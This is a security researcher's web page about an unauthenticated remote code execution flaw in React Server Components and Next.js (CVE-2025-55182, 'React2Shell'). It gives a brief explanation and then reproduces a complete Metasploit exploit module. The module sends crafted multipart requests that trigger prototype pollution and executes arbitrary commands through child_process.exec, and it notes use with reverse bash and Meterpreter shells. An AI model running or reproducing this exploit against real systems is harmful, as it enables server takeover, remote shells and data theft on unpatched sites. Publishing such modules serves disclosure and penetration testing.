React / Next.js Unauthenticated Remote Code Execution
React / Next.js Unauthenticated Remote Code Execution
React/Next.js applications can suffer from Unauthenticated Remote Code Execution (RCE), React/Next.js applications can suffer from Unauthenticated Remote Code Execution (RCE), enabling attackers to run arbitrary code on the server without authentication. This critical flaw typically arises in server-side rendered (SSR) pages or API routes.

It stems from improper handling of user-controlled input. Attackers exploit issues like insecure deserialization, template injection, or dynamic code evaluation vulnerabilities (e.g., `eval()`, `new Function()`) when processing untrusted data.

If an application directly incorporates malicious user input into code execution contexts without adequate sanitization or validation, the injected payload executes commands with the server's privileges.

The impact is severe: full server compromise, data theft, and further network penetration. Mitigation requires rigorous input validation, avoiding dynamic code execution with untrusted data, using secure serialization, and keeping Next.js and dependencies updated.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in React and Next.js',
'Description' => %q{
A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
pollution during deserialization of RSC payloads by sending specially crafted multipart
requests with "__proto__", "constructor", or "prototype" as module names.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Lachlan Davidson', # Vulnerability Discovery
'maple3142' # Public Exploit
],
'References' => [
['CVE', '2025-55182'],
['CVE', '2025-66478'],
['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['windows']
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Payload' => {
'BadChars' => '"'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-03',
'Notes' => {
'AKA' => ['React2Shell'],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to the React App', '/']),
]
)
end

def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
{
'then' => "$#{ref_idx}:then",
'status' => 'resolved_model',
'reason' => reason,
'value' => { 'then' => '$B' }.to_json,
'_response' => {
'_prefix' => node_payload,
'_formData' => {
'get' => "$#{ref_idx}:#{get_token}:constructor"
}
}
}.to_json
end

def get_random_value
random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample
end

def build_post_data(node_payload)
random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i
random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
random_get_token = ['then', 'constructor'].sample

chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)

post_data = Rex::MIME::Message.new
post_data.add_part(chunk, nil, nil, 'form-data; name="0"')

cycle_length = rand(random_ref_idx..9)
(1..cycle_length).each do |i|
value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value
post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
end

post_data
end

def send_payload(node_payload)
post_data = build_post_data(node_payload)

send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'headers' => { 'Next-Action' => '' },
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
end

def check
random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});"

res = send_payload(node_payload)
return CheckCode::Unknown("#{peer} - No response from web service") unless res

headers_text = res.headers.to_s
return CheckCode::Appears if res.code == 303 && headers_text.include?("/#{random_id};push")

CheckCode::Safe("The target #{target_uri} is not vulnerable")
end

def exploit
node_payload = "process.mainModule.require('child_process').exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});"
send_payload(node_payload)
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.